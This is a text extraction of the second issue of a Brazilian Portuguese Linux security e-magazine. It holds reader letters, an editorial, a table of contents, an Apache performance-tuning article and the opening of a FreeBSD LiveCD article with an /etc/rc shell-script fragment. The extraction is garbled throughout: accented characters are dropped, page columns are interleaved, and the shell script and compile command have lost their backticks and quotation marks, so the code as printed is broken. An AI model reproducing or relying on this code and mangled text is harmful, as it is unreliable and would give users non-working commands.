Você está na página 1de 103

1

www.linuxsecurity.com.br

Cartas dos leitores:


E mais uma vez a comunidade agradece
Jos Carlos Cirqueira Jnior ( OmegaB1te )
Analista de Desenvolvimento

jccirqueira@microsigarp.com.br
Sr. Renato,
Sem dvidas a comunidade de administradores de redes,
analistas de segurana e fuadores de planto esto
muito gratos mais uma vez, agora pela criao desse
excelente veculo de informao. Seria excelente que
esse material fosse mensal e impresso. Sou cadastrado
no site, e apesar de nunca ter contribuido com nada,
sou muito grato por toda a informao disponibilizada.
Resposta: Muito obrigado Jos, faremos o possvel
para torn-la mensal assim que os esforos forem
suficientes. Muito obrigado por suas palavras de
incentivo e espero que goste dessa nova edio! No
se esquea tambm que essa revista no minha,
mas de toda a comunidade! Os agradecimentos so
todos direcionados a esses excelentes profissionais que
nos ajudaram.
Revista para venda
Rodrigo Trevisan
Analista de Sistemas Jr (Letti Tecnologia S/C Ltda.)
rodrigo@letti.com.br
Gostaria de saber se existe essa revista para venda
(pois pra mim e complicado imprimir aqui na empresa).
Gostei muito do conteudo, Voces estao de parabens
pela revista!!!
Resposta: Obrigado por suas palavras Rodrigo. Por
enquanto a revista est disponvel apenas online, para
que no haja custos ao usurio final, j que o objetivo
aqui apenas disseminar conhecimento ok?
Parabns pela Revista eletrnica
Andrey R. Freitas
Profissional de Anlise/desenvolvimento em Internet
andreyn@bol.com.br
Parabns pela iniciativa de criar uma revista
especialmente dedicada a segurana. Gostaria de saber como posso participar da elaborao da Revista
LinuxSecurity Magazine atravs de artigos ? De quanto
em quanto tempo ser lanado um novo nmero e
quantos artigos devero serem enviados ?

gostado! Para participar da LinuxSecurity Magazine,


basta querer dividir seu conhecimento com a
comunidade enviando seu trabalho ou artigo que tenha
relao com segurana ou administrao em geral para
o email revista@linuxsecurity.com.br . A respeito da
periodicidade da revista, ela ser sempre lanada
conforme o nmero de contribuies e o tempo livre
dos colaboradores.
Feliz Notcia
Ernesto Paulo dos Santos
tito@turnet.psi.br
Este email no pra mandar um artigo, mas sim pra
agradecer e muito mesmo pelo lanamento da revista
online. um projeto simplesmente muito bom, corajoso
e abnegado, de um pessoal de alta credibilidade como
vocs. Acredito estar agradecendo por mim e por
todos os entusiastas deste sistema maravilhoso.
Resposta: Ernesto, no tenho palavras para agradecer
seu email de incentivo e acredito que so justamente
palavras como as suas que nos incentivam a continuar
com esse projeto. Falo em meu nome, em nome da
revista e, com certeza, em nome de todos esses
profissionais que contribuiram com artigos excelentes.
Parabns e oferecimento de colaborao
Claudio Pereira
cpereira@websistemas.com.br
J h algum tempo acompanho seu trabalho e acho
fantstico. A base de conhecimento gerada por voc
atravs do www.linuxsecurity.com.br fantstica,
tanto j tendo me tirado de muitas enrascadas quanto
serviu de inspirao para novos aprendizados. Recebi
com festa o primeiro exemplar da Revista. Mais uma
vez, parabns. Por outro lado, gostaria de,
humildemente, oferecer a voc ajuda na reviso
ortogrfica e gramatical dos textos. Tenho certa
experincia com redao e o fato de parte de meus
clientes ser constituda de editoras e pessoal ligado
educao me fora a uma atualizao constante neste
sentido.
Resposta: Claudio, fico contente em saber que o
projeto LinuxSecurity Brasil e seus sub projetos sejam
teis ao amigo. Fico mais contente ainda em ler o
oferecimento de ajuda para a reviso dos textos, ela
ser muito bem vinda!

Resposta: Obrigado Andrey, espero que tenha

www.linuxsecurity.com.br

Linux Security Magazine


Arthur Csar Oreana
aoreana@carol.com.br
Te escrevo este e-mail para parabenizar pela edio
de Julho da LinuxSecurity Magazine, em formato PDF.
timos artigos, com pessoas competentes falando sobre
ferramentas e segurana. Agora, s falta fazer a
publicao impressa ! Estou aguardando as prximas
edies e espero que a qualidade seja a mesma
apresentada nesta edio.Parabns e muito sucesso !
Resposta: Muito obrigado Arthur, espero que goste
das prximas edies tanto quanto gostou da primeira!
Magazine
Wagner Stabolito - PSI
wagners@psinfo.com.br
Existe a inteno de publicar a revista pelos meios
tradicionais ? Se j publicada, como fao para adiquirila?
Resposta: Wagner, como a revista no tem fins
lucrativos, nosso objetivo distribu-la da forma mais
rpida e ampla possvel. H sim o desejo de public-la
impressa, mas ainda no algo imediato ok? Espero
que goste das prximas edies!
Felicitaciones
Maurcio Oliveira
mauricio.oliveira@embrapa.br
Gostaria de parabeliz-los pelo importante trabalho e
pela iniciativa de conduzir a informao gerada a toda
comunidade da informtica. AOS CRIADORES, OS MEUS
PARABNS PELA REVISTA.
Resposta: Obrigado Maurcio! Os criadores da revista
(toda a comunidade de profissionais que participou e
tornou a mesma possvel) agradecem!

Resposta: Obrigado Adriano, contamos com o amigo


no apenas como leitor mas como crtico nos enviando
sempre sugestes ok? Obrigado mais uma vez por suas
palavras de incentivo.
Revista
Joo Alexandre Voss de Oliveira
joaoalex@via-rs.net
Parabns pela revista linuxsecurity. Acabo de baixla, uma excelente iniciativaa de vcs. Ainda no li toda,
mas at onde eu vi, est uma beleza. Continuem assim!
Resposta: Esperamos poder continuar mantendo a
qualidade da revista da melhor forma que pudermos.
Muito obrigado!

Agradecimento
Gostaria de agradecer a todos pelos mais
de
450
emails
recebidos
com
parabenizaes pela revista, sugestes,
dicas, e me desculpar pela relativa demora
para responder cada um deles. Como j
disse anteriormente, essa revista pertence
a todos vocs, ento retribuo a todos com
um grande e sincero MUITO OBRIGADO!

Elogie, critique e d sugestes. Este


espao seu, leitor. Envie sua carta
atravs do email abaixo.
revista@linuxsecurity.com.br

Revista LinuxSecurity
Adriano Filippin - SDCNet e-Solutions
adriano@sdcnet.com.br
Gostaria de parabenizar todos os responsveis pela
criao da LinuxSecurity Magazine, achei as materias
bem interessantes, estvamos mesmo precisando de
uma publicao desse tipo, principalmente para ns
que adotamos o ambiente Linux como nosso principal
sistema operacional, e pode ter certeza que vou ser
leitor assduo dessa revista. Parabns a todos.

www.linuxsecurity.com.br

ndice
07 - Como obter melhor performance do Apache no Unix
Fabio Wakim Trentini
14 - As 1001 utilidades do FreeBSD LiveCD
Edson Brandi
23 - slocate (Secure Locate)
Rubens Queiroz de Almeida
26 - Monitorando trfego de rede interna utilizando SASacct/RRDtool
Diogo Florenzano Avelino
colabarao de Marcus Maciel
30 - Monitorao com RRDTool
Rodrigo P. Telles
35 - Construindo filtros para o qmail
Diego Linke - Gamk
39 - Enriquecendo os Logs do seu sistema Unix e Facilitando a Auditoria Parte 2
Renato Murilo Langona
46 - RAID via Software em GNU/Linux - Recursos, Possibilidades e Apliaes
Jos Roberto Kerne
58 - Guia rpido para a configurao do Amavis com Postfix no Conectiva Linux 8.0
Emerson Reis
63 - Criptografia de disco
Jair Valmor Basso Jnior
68 - (In)Segurana Bsica no MySQL
Glaudson Ocampos
76 - Introduo Anlise Forense - Parte II
Leonardo Alcntara Moreira
79 - Sniffers - Bsico e Deteco
Sumit Dhar
87 - Corridas e chegadas
Izar Tarandach
91 - Vitaminando o velho Syslogd
Sandro Melo
101 - Usando o jail no FreeBSD
Jean Milanez Melo

www.linuxsecurity.com.br

Colaboradores
Diretor Executivo: Renato M. Langona
Diretor de Operaes: Renato M. Langona
Diretor de Marketing: Renato M. Langona
Colaboradores especiais: Luiz Gustavo M. Nozella

Editorial

Webmaster: Renato M. Langona

com grande honra que o projeto LinuxSecurity Brasil


apresenta comunidade nacional mais uma edio de
nossa revista eletrnica. Tivemos alguns contratempos
e um grande atraso para o lanamento da mesma,
porm acredito que toda a espera ser recompensada
pelas mais de 100 pginasde informaes dessa
edio.

Assessoria Grfica e Design: Luiz Gustavo M. Nozella

Infelizmente no pudemos incluir muitos trabalhos


enviados devido falta de espao e tambm ao curto
tempo disponvel para a reviso e diagramao de
todos os textos. Esses trabalhos que no foram
includos na segunda edio j tem lugar garantido no
terceiro nmero de nossa revista.
Gostaria mais uma vez de agradecer a comunidade
por todo o apoio, todos os emails com sugestes,
parabenizaes, alm de todos os excelentes
profissionais que colaboraram e continuam
colaborando conosco para que esse projeto possa
continuar em pleno desenvolvimento.
Como disse no primeiro nmero, a LinuxSecurity Magazine resultado do esforo conjunto da comunidade e
a LinuxSecurity Brasil apenas responsvel por unir
esses esforos e apresentar a revista, portanto ela
pertence um pouco a cada um de vocs.
Espero sinceramente que essa seja a segunda de
diversas prximas edies e que possamos entregar
ao pblico Brasileiro cada vez mais qualidade em
contedo livre e que esse contedo seja disseminado
entre profissionais da comunidade da melhor forma
possvel.
Mais uma vez deixo a todos os membros e leitores o
convite para participarem desse trabalho conjunto
enviando seus artigos para prximas edies da
revista.

Diagramao: Luiz Gustavo M. Nozella


Capa: Luiz Gustavo M. Nozella
Reviso: Renato M. Langona
Gerente Administrativo: Renato M. Langona
LinuxSecurity Magazine uma publica
LinuxSecurity Brasil Solutions S/C Ltda.

da

Distribuio Exclusiva: On-line


Fax para contato: + 55 14 462.1030
SAC (Servio de Atendimento ao Cliente)
Problemas de qualidade na entrega e/ou exemplares.
O SAC presta atendimento aos leitores por email:
revista@linuxsecurity.com.br
A LinuxSecurity Magazine no se responsabiliza por
conceitos emitidos nos artigos assinados de
colaboradores. A LinuxSecurity Magazine no se
responsabiliza por eventual quebra de links fornecidos
por colaboradores, nem pelo material exposto neste(s)
link(s). Problemas com quebra de links devem ser
reportados para revista@linuxsecurity.com.br. Utilize
o subject: "Link Quebrado", indicando a edio e o
artigo.
A fim de proteger todos os interessados e ainda
estipular a divulgao de material referente ao Linux e
a LinuxSecurity Magazine, convencionou-se que
reprodues de texto da LinuxSecurity Magazine so
permitidos, desde que se inclua a frase "Reproduzido
com a permisso da LinuxSecurity Magazine
(www.linuxsecurity.com.br)".

www.linuxsecurity.com.br

www.linuxsecurity.com.br

Como obter melhor performance do Apache no Unix


por Fabio Wakim Trentini

Qual administrador de sistemas no


deseja obter mais performance dos seus
servidores web? No que existam problemas
de performance na configurao padro do
Apache, mas vrias otimizaes podem ser
feitas no intuito de melhorar seu
desempenho. Este texto mostra algumas
dicas de como melhorar sua configurao para
obter o mximo de performance.

no o suporte a mdulos dinmicos no


startup do webserver, que demora
aproximadamente 20% a mais de tempo do
que o Apache compilado esttico. Dizem
tambm que em algumas plataformas a
verso compilada com suporte a DSO fica
at 5% mais lento, mas realizando testes
em servidores Unix no foi notada esta
diferena.

O comeo de tudo

O Apache vem com algumas regras


especiais que podemos habilitar ou
desabilitar, dependendo das necessidades
de cada servidor web. Aqui esto as mais
relevantes:

Ao rever o processo de compilao do


Apache podemos deix-lo menor e mais
eficiente. Nesta fase, existem basicamente
trs itens com os quais necessrio
preocupar-se: de usar ou no suporte a DSO
(Mdulos dinmicos), quais regras so
realmente necessrias e o limite hardcoded
de 256 clientes simultneos.
Se pesquisarmos pela rede, existem
vrios textos contraditrios a respeito de
utilizar ou no suporte a mdulos dinmicos
no Apache, mas o que realmente faz a
diferena saber exatamente quais mdulos
so necessrios carregar na memria para
rodar seu servidor web. Basicamente, se
algum mdulo no estritamente necessrio
em sua configurao, no o carregue. Isso
vale para as regras do Apache tambm.
O problema de compilar o Apache
esttico, sem suporte aos mdulos
dinmicos, que ele funciona para aquele
exato tipo de aplicao, ou seja, se voc
tem centenas de servidores web, que rodam
configuraes distintas, provavelmente voc
vai preferir compil-lo com suporte a mdulos
e vai carreg-los conforme a necessidade de
cada servidor web.
As sensveis diferenas de utilizar ou

DEV_RANDOM: Habilita suporte para


o device /dev/random nas famlias de Unix
que suportam tal dispositivo. A regra serve
para mdulos que necessitam de nmeros
aleatrios, mas o nico mdulo que vem
junto com o Apache e utiliza desse recurso
Ficha do Autor
Nome: Fabio Wakim Trentini
Idade:
Profisso: Consultor de

Sistemas
email: trentas@uol.com.br

Informaes Adicionais
consultor de sistemas do
UOLInc e mantm o site Apache
Brasil.

Site: http://www.apachebrasil.com.br

www.linuxsecurity.com.br

o mod_auth_digest.
EXPAT: Incorpora da biblioteca de
parsing de XML Expat, para mdulos do
Apache que processam XML. Na distribuio
do Apache no existe nenhum mdulo que
necessite dessa regra, mas se, por exemplo,
existir a necessidade de utilizar o mod_dav
(que um mdulo de terceiros), a Expat ser
requerida.
IRIXN32 e IRIXNIS: Regras especficas
para compilar o Apache na plataforma Irix
(SGI).
SHARED_CHAIN: Algumas plataformas
tm problemas em carregar bibliotecas
necessrias para certos mdulos, como por
exemplo, que o mod_ssl precisa carregar a
lib do openssl para subir. Essa regra corrige
o problema, por isso ela apenas deve ser
habilitada caso necessrio.
WANTHSREGEX: Esta regra habilita um
engine interno de processar regular
expressions, em vez de utilizar o prprio
engine do sistema operacional, que
normalmente suficiente.
Quando voc compila o Apache ele vem
com um limite hardcoded de 256 clientes
simultneos, que obviamente podemos
aumentar setando uma simples varivel de
ambiente, a CFLAGS.
Ao juntar todas as otimizaes, segue
abaixo um exemplo de como compilar o
Apache com limite de 2048 clientes
simultneos, todas as regras desabilitadas,
suporte a DSO e compilando todos os mdulos
(inclusive o experimental mod_mmap_static,
que ser falado adiante):

# export CFLAGS=DHARD_SERVER_LIMIT=2048'; \
./configure \
disable-rule=DEV_RANDOM \
disable-rule=EXPAT \
disable-rule=IRIXN32 \
disable-rule=IRIXNIS \
disable-rule=SHARED_CHAIN \
disable-rule=WANTHSREGEX \
enable-module=most \
enable-module=mmap_static \
enable-shared=max \
prefix=/usr/local/apache \
&& make && make install
Depois de instalar, podemos rodar strip
no executvel principal e em seus mdulos,
no intuito de remover as tabelas de smbolos,
assim:
# cd /usr/local/apache/ ; strip
bin/* libexec/*

Controle de processos do Apache


O Apache roda no Unix com um sistema
de pre-forking, ou seja, quando o processo
principal sobe, ele cria vrios processos filhos
para atender as requisies, e mantm uma
faixa de processos filho reserva para algum
eventual crescimento de carga. Existem
cinco diretrizes que controlam isso:
StartServers <nmero>
Determina quantos processos filhos
sero gerados quando o servidor web sobe.
Quanto maior o nmero aqui, mais rpido o
Apache atender a demanda de todos os
requests por segundo, mas por outro lado
ele vai gerar uma carga muito maior no
servidor quando subir o webserver. O default
5, mas em servidores com muito trfego
este nmero pode crescer bastante.
www.linuxsecurity.com.br

MinSpareServers <nmero>
o nmero mnimo de processos que
ficam abertos sem atender a nenhuma
requisio, e se o Apache precisar criar mais
processos filhos ele vai aumentando o
MinSpareServers num algoritmo de
progresso geomtrica at atender a nova
demanda. O default 5, e deve ser
aumentado em sites de muito trfego. Nota
que se o MinSpareServers for maior que o
StartServers, o nmero de processos filhos
criados na inicializao ser o nmero setado
no MinSpareServers.
MaxSpareServers <nmero>
o nmero mximo de processos
que ficam abertos sem atender a nenhuma
requisio, para garantir que no caso de
um crescimento de demanda, j existam
processos prontos para atender as
requisies. O default 10, e novamente
em servidores com muito trfego e
possveis picos de audincia,
recomendado aumentar este nmero.
MaxClients <nmero>
No importa quantas requisies
simultneas o Apache pode atender, ele
respeitar o numero mximo de clientes
simultneos fixado nessa diretriz. Esta
diretriz importante para colocar um limite
fsico de at quanto o processo pai pode
gerar filhos, pois a cada filho criado um
pedao da memria RAM que se vai da
mquina em questo. O default 256, e
para aumentar este valor necessrio alterar
na hora da compilao, conforme descrito
no incio do artigo.

Esta diretriz serve para dizer ao


webserver quantas requisies cada
processo filho ir atender antes de morrer.
Isto bom para prevenir memory leaks, mas
dependendo de sua plataforma e dos
mdulos que esto carregados no webserver,
no h necessidade de terminar os
processos, salvando recursos do sistema.
A melhor forma de ver se seu servidor
web sofre de algum memory leak deixar
este valor ilimitado (setando com valor zero),
e anlise no incio do dia o tamanho dos
processos filhos, com top, ps, ou algo do
tipo, e a no final do dia faa o mesmo teste.
Se os processos aumentam de tamanho com
o passar do tempo interessante colocar
algum nmero entre 10.000 e 100.000,
dependendo da gravidade do leak.
Normalmente memory leaks acontecem
com mdulos externos, como mod_php e
mod_perl, que armazenam variveis,
estruturas de dados, etc.

Keepalives e Timeouts
Quatro diretrizes mais importantes a
respeito de timeouts do HTTP, a seguir:
TimeOut <nmero>
Este timeout o tempo corrido desde
a conexo estabelecida ate o primeiro GET
do cliente, ou desde o ltimo ACK recebido
se ainda existem mais dados para vir. O
default 300 segundos, e pode ser reduzido
a at 60 segundos. Um tempo menor que
esse podem ocorrer alguns problemas
servindo arquivos com muitos bytes.

MaxRequestsPerChild <nmero>
KeepAlive <on|off>

www.linuxsecurity.com.br

10

O protocolo HTTP/1.1 possui o suporte


de trafegar vrios objetos do mesmo
webserver para um cliente utilizando apenas
uma conexo TCP, reduzindo o overhead do
mesmo cliente abrir vrias conexes com o
servidor web.
Dependendo das caractersticas do seu
servidor web, interessante ou no deixar o
keepalive habilitado. Por exemplo, se seu
servidor web serve apenas uma pgina HTML,
feita por alguma aplicao Perl, PHP ou Java,
e as imagens e outros objetos esto em
outros servidores, no h a menor
necessidade de habilitar esta diretriz. Com
esta diretriz habilitada, mais processos filhos
do Apache voc ter em seu servidor. E se
esta diretriz de habilitar conexes
persistentes for habilitada, existem mais
duas diretrizes para configur-la, a seguir.
MaxKeepAliveRequests <nmero>
Esta diretriz impe o limite de objetos
servidos pelo servidor web numa mesma
conexo TCP. O default 100 e normalmente
no h necessidade de alterar este valor.
KeepAliveTimeout <nmero>
o tempo mximo de silncio que o
servidor mantm a conexo TCP aberta com
o cliente. O default 15 segundos, mas no
caso do servidor ter muito trfego isso pode
ser reduzido em at 5 segundos, ou se o
trfego for baixo existe a possibilidade de
aumentar este timeout.

assustadoramente. Seus clientes vo


acessar sem parar seu site procura de
novas notcias no decorrer do dia. Voc acaba
servindo, para um nico cliente, dezenas e
dezenas de cpias da mesma pgina HTML,
devido ao seu tempo de atualizao. Porque
ento no avisar para todos os seus clientes
que sua pgina expira uma vez por hora,
para que seu servidor sirva menos pginas
por segundo? Existe um mdulo no Apache
chamado mod_expires, que faz este tipo de
negociao de objetos servido com os
browsers e proxies afora, quando falamos
de HTTP/1.1. Segue como us-lo:

ExpiresActive <on|off>
Esta diretriz habilita ou desabilita o
header de caching dos documentos servidos
em HTTP/1.1. Pode ser colocada dentro de
um
<Directory>,
<Location>,
<VirtualHost>, etc...
ExpiresDefault <cdigo+nmero>
O cdigo citado serve se voc quer
cachear por data de modificao (mtime)
ou de acesso (atime), mais o nmero de
segundos de expirao. Codificando o
exemplo do site de notcias acima,
chegamos ao seguinte trecho:

<Location /noticias>
ExpiresActive on
ExpiresDefault M3600
</Location>

Caching Quanto mais, melhor.


Imagine um site de notcias, que
atualizado uma vez por hora. Um dia
acontece uma queda na bolsa e o dlar sobe

ExpiresByType <mime-type>
<cdigo+nmero>

www.linuxsecurity.com.br

11

Esta diretriz serve para habilitar caching


apenas de determinados mime types, como
por exemplo, para cachear por um ms apenas
as imagens jpeg do servidor em questo:

RAM, sero dez linhas de MMapFile no seu


httpd.conf.

Evitar ao mximo as gorduras

ExpiresByType image/jpeg A2592000


mod_rewrite
CacheNegotiatedDocs
Em vez do mod_expires, esta diretriz
necessita do mod_negotiation, e serve
para habilitar caching em browsers e
proxies que falam somente o protocolo
HTTP/1.0.

Carregando objetos estticos em


RAM
Existe um mdulo experimental no cdigo
do Apache que chama mod_mmap_static, e
serve para colocar um ou mais objetos em
RAM no servidor no intuito de diminuir o acesso
ao disco ou a um servidor NFS onde
supostamente ficaria o DocumentRoot. Este
mdulo bom quando voc serve algum objeto
esttico que no tem constantes alteraes e
amplamente utilizado, como por exemplo a
imagem do logotipo de sua empresa, que est
em todas as suas pginas. A desvantagem de
utilizar este mdulo que se voc carrega um
objeto em RAM e depois altera o contedo do
objeto no disco, apenas no prximo restart do
webserver ser possvel ver a alterao do
contedo. Outro problema tambm que se
por acaso este objeto que foi cacheado com o
mod_mmap_static sumir no disco,
normalmente o Apache gera um core e morre
por Segmentation Fault. A sintaxe a seguinte:
MMapFile <arquivo>
Nota que aceito apenas um arquivo por
vez. Se voc quer carregar dez arquivos em

O mod_rewrite sem dvida o mdulo


mais poderoso j criado para o Apache.
Utilizando regras com regular expressions
voc pode reconstruir qualquer URL ou
objeto a ser servido, entre outras coisas.
Mas no quesito performance, ele acaba
sendo um grande gargalo para a CPU devido
ao processamento on-line de todas as
requisies que chegam. Se for inevitvel
utiliz-lo, prefira regras que fazem stat()
no disco em vez de regular expressions
complicadas, para reduzir o consumo de
CPU.
mod_status
Este mdulo mostra o famoso serverstatus do servidor, com vrias informaes
a respeito dos processos filhos e utilizao
do Apache, mas como qualquer sistema de
anlise on-line, este mdulo faz o webserver
consumir mais recursos da mquina,
principalmente se a opo ExtendedStatus
estiver habilitada.
DirectoryIndex
Esta diretriz do mod_dir fala quais
arquivos e em que ordem o Apache deve
procurar para carregar como pgina de ndice.
Normalmente ele vem configurado para abrir
a pgina index.html, mas permitido colocar
vrios tipos de pginas, podendo inclusive
colocar apenas trechos de arquivos. E a
que podemos ter problemas de performance.
Se voc pede pra ele procurar por qualquer
www.linuxsecurity.com.br

12

arquivo que comea por index, por exemplo,


ele ter que procurar todos os arquivos com
este nome no disco, para cada requisio
que for pedida. O ideal mesmo colocar o
mnimo possvel de arquivos nesta diretriz,
e nunca utilizar os recursos de trechos de
nomes de arquivos para ele escolher.
Options
O segredo desta diretriz sempre
manter o FollowSymLinks e nunca, nunca
utilizar SymLinksIfOwnerMatch. Deixando o
FollowSymLinks, algum usurio indevido
pode criar um link simblico para a raiz do
servidor, criando um furo enorme de
segurana, mas se impossvel um cliente
criar um link simblico em seu filesystem
a opo mais performtica que se pode ter.
HostNameLookups
Esta opo serve para o Apache resolver
o DNS reverso de qualquer IP que pede algum
objeto, para gravar o hostname (se o DNS
conseguir resolver) no log. Isto acaba com a
performance do Webserver e no
recomendado.
Com essas dicas j possvel melhorar
consideravelmente a performance de um
servidor Apache, mas o ideal sempre
analisar caso a caso, o tipo de aplicao, o
perfil de clientes que acessa, enfim, existem
vrios conceitos de como otimizar seus
servidores. Keep tuning!

www.linuxsecurity.com.br

13

www.linuxsecurity.com.br

14

As

1001 utilidades do FreeBSD LiveCD

por Edson Brandi

Um pouco de Histria

de maneira extremamente simples a sua


prpria verso do LiveCD.

No prximo dia 18 de setembro o


Projeto FreeBSD LiveCD estar completando
1 ano de existncia, o projeto nasceu em
setembro de 2001 de uma necessidade
interna do FUG-BR (Grupo Brasileiro de
Usurios FreeBSD) em possuir um repair
disk que fosse verdadeiramente til.

Liberada a verso 1.0 do FreeBSD


LiveCD Toolset, o objetivo do projeto passou
a ser a integrao do mesmo rvore do
ports do FreeBSD, maximizando desta forma
a exposio do projeto perante a comunidade
FreeBSD.

Naquela poca a comunidade FreeBSD


no dispunha de ferramentas adequadas para
serem utilizadas em situaes de emergncia,
o repair disk oferecido no set de CDs da
distribuio oficial no era 100% funcional e
o uso do mesmo para uma operao de
disaster recovery deixava muito a desejar.
Visando suprir essa necessidade o FUGBR iniciou uma srie de testes com o sistema,
com o objetivo de gerar uma verso dos
arquivos de inicializao que permitissem a
execuo a partir de um cd-rom de uma
verso 100% funcional do sistema FreeBSD.
Os primeiros resultados foram
divulgados no incio do ms de outubro
quando o FUG-BR disponibilizou oficialmente
o primeiro ISO do projeto FreeBSD LiveCD.
Desde o lanamento a aceitao do projeto
por parte da comunidade nacional e
internacional foi muito boa e, como esperado,
comearam a chegar uma srie de pedidos
de customizao.
Diante do enorme nmero de pedidos
para a gerao de verses customizadas do
LiveCD, o FUG-BR decidiu disponibilizar em
janeiro/2002 o conjunto de scripts que foram
utilizados para a gerao do ISO, de forma
que qualquer usurio do sistema poderia criar

Este objetivo foi alcanado em junho/


2002, quando aps alguns meses de intenso
desenvolvimento, o grupo responsvel pelo
projeto disponibilizou uma verso totalmente
nova dos scripts, contando inclusive com
suporte a vrios idiomas. Atualmente os
scripts do FreeBSD LiveCD ToolSet esto
disponveis a todos os usurios do sistema
que utilizam o ports para a instalao dos
seus aplicativos (/usr/ports/sysutils/livecd/
).
Ficha do Autor
Nome: Edson Brandi
Idade: 25 anos
Profisso: Gerente de Tecnologia
email: ebrandi.home@uol.com.br

Informaes Adicionais
Trabalha profissionalmente com FreeBSD desde 1995
tendo atuado como consultor junto a vrias empresas
nos ltimos anos. um membro ativo da comunidade
FreeBSD, sendo o responsvel pelo site FreeBSD
Primeiros Passos (www.primeirospassos.org),
fundador do Grupo Brasileiro de Usurios FreeBSD
(www.fugspbr.org), responsvel pelo projeto FreeBSD
LiveCD(livecd.sourceforge.net). Atualmente trabalha
como
Gerente
de
Tecnologia
no
iBest
(www.ibest.com.br).

Site:

www.linuxsecurity.com.br

15

O prximo passo do projeto aperfeioar os scripts e expandir as funcionalidades/


usos do FreeBSD LiveCD.

Etapas do processo (resumido) de gerao do LiveCD

Ao dar boot em um computador com o FreeBSD LiveCD, voc ter disponvel em


poucos segundos, um sistema Unix 100% funcional. Para que isso fosse possvel foi
necessria uma srie de ajustes nos arquivos de inicializao do sistema e uma pequena
customizao do kernel.
No nvel dos arquivos de inicializao a maior alterao (se no a mais importante)
foi realizada no arquivo /etc/rc . Este arquivo foi alterado de forma a no montar os
sistemas de arquivos (necessrios ao funcionamento do sistema) a partir do /etc/fstab,
mas sim executar algumas operaes alternativas.
Dentre as possibilidades previstas, estava a criao dinmica dos FS em memria
RAM (MFS), auto deteco das parties existentes no HD do usurio associada a
possibilidade de se utilizar arquivos imagem (vnodes) nestas parties para possibilitar
salvar de forma permanente as configuraes efetuadas ou ainda para instalar novos
aplicativos no LiveCD.
O fragmento de Shell Script que implementou essas alteraes no /etc/rc pode ser
visto abaixo, o mesmo est devidamente comentado de forma que voc no tero
dificuldades para entender seu funcionamento. (qualquer sugesto de melhora nesse
script so bem vindas)
############################################
echo Gerando o /dev em MFS...
mount_mfs -s 24000 -c 20 -o noatime swap /dev 2>&1
tar -xzpf /mfs/dev.tgz -C / >/dev/null 2>&1
cd /dev
./MAKEDEV all
>/dev/null 2>&1
#
# Detecta os discos IDE e os slices existentes e monta todos os
slices que forem
# do tipo FAT, NTFS, UFS, EXT2FS
#
#
echo Detectando slices disponiveis...
#
for i in dmesg | egrep ad0:|ad1:|ad2:|ad3: | awk -F: {print
www.linuxsecurity.com.br

16

$1} | sort | uniq


do
a=1
for x in fdisk /dev/$i | grep sysid | awk -F, {print $1} | awk
{print $2}
do
case ${x} in
5)
echo Particao FAT16/32 encontrada em /dev/${i}s${a},
montando em /mnt/dos.${a} ...
mount -t msdos /dev/${i}s${a} /mnt/dos.${a}
;;
6)
echo Particao FAT16/32 encontrada em /dev/${i}s${a},
montando em /mnt/dos.${a} ...
mount -t msdos /dev/${i}s${a} /mnt/dos.${a}
;;
12)
echo Particao FAT16/32 encontrada em /dev/${i}s${a},
montando em /mnt/dos.${a} ...
mount -t msdos /dev/${i}s${a} /mnt/dos.${a}
;;
7)
echo Particao NTFS encontrada em /dev/${i}s${a}, montando em
/mnt/ntfs.${a} ...
mount -t ntfs /dev/${i}s${a} /mnt/ntfs.${a}
;;
131)
echo Particao EXT2FS encontrada em /dev/${i}s${a}, montando
em /mnt/ext2fs.${a} ...
mount -t ext2fs /dev/${i}s${a} /mnt/ext2fs.${a}
;;
165)
echo Particao UFS encontrada em /dev/${i}s${a}, montando em
/mnt/ufs.${a} ...
mount /dev/${i}s${a} /mnt/ufs.${a}
;;
esac
a=expr $a + 1
done
done
####
####
#
# Verifica se existe o diretorio FreeBSD em cada slice montado,
existindo ele
www.linuxsecurity.com.br

17

# busca os arquivos .flp para atachar como um virtual node


#
echo Verificando disponibilidade de Virtual Nodes...
#
for i in df -k | egrep ufs|dos|ntfs|ext2fs | awk {print $6}
do
if [ -r ${i}/freebsd ]; then
if [ -r ${i}/freebsd/tmp.flp ]; then
vnconfig -c /dev/vn1c
${i}/freebsd/tmp.flp
sleep 2
mount /tmp
fi
if [ -r ${i}/freebsd/var.flp ]; then
vnconfig -c /dev/vn3c ${i}/freebsd/var.flp
sleep 2
mount /var
fi
if [ -r ${i}/freebsd/etc.flp ]; then
vnconfig -c /dev/vn4c ${i}/freebsd/etc.flp
sleep 2
mount /etc
. /etc/rc.conf
fi
if [ -r ${i}/freebsd/home.flp ]; then
vnconfig -c /dev/vn5c ${i}/freebsd/home.flp
sleep 2
mount /home
fi
if [ -r ${i}/freebsd/root.flp ]; then
vnconfig -c /dev/vn6c ${i}/freebsd/root.flp
sleep 2
mount /root
fi
if [ -r ${i}/freebsd/local.flp ]; then
vnconfig -c /dev/vn7c ${i}/freebsd/local.flp
sleep 2
mount /usr/local

www.linuxsecurity.com.br

18

fi
if [ -r ${i}/freebsd/X11R6.flp ]; then
vnconfig -c /dev/vn8c ${i}/freebsd/X11R6.flp
sleep 2
mount /usr/X11R6
fi
fi
done
# Verifica se os virtual nodes foram montados (atraves de um arquivo de
controle)
# se encontrar o arquivo da a particao como montada, se nao encontrar
gera a particao
# em MFS e descompacta os arquivos necessarios.
#
if [ -r /tmp/XYZ123_ ]; then
echo O /tmp foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o nodev,noexec,nosuid,noatime swap /
tmp 2>&1
echo Gerando /tmp em MFS
fi
if [ -r /var/XYZ123_ ]; then
echo O /var foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o noatime swap /var 2>&1
/usr/sbin/mtree -deU -f /etc/mtree/BSD.var.dist -p /var >/dev/
null 2>&1
logs=/usr/bin/awk $1 != # { printf %s , $1 } /etc/
newsyslog.conf
if [ -n $logs ]; then
/usr/bin/touch $logs
fi
/usr/bin/touch /var/log/lastlog
echo Gerando /var em MFS
fi
if [ -r /etc/XYZ123_ ]; then
echo O /etc foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o noatime swap /etc 2>&1
tar -xzpf /mfs/etc.tgz -C / >/dev/null 2>&1

www.linuxsecurity.com.br

19

echo Gerando /etc em MFS


fi
if [ -r /home/XYZ123_ ]; then
echo O /home foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o noatime swap /home 2>&1
echo Gerando /home em MFS
fi
if [ -r /root/XYZ123_ ]; then
echo O /root foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o noatime swap /root 2>&1
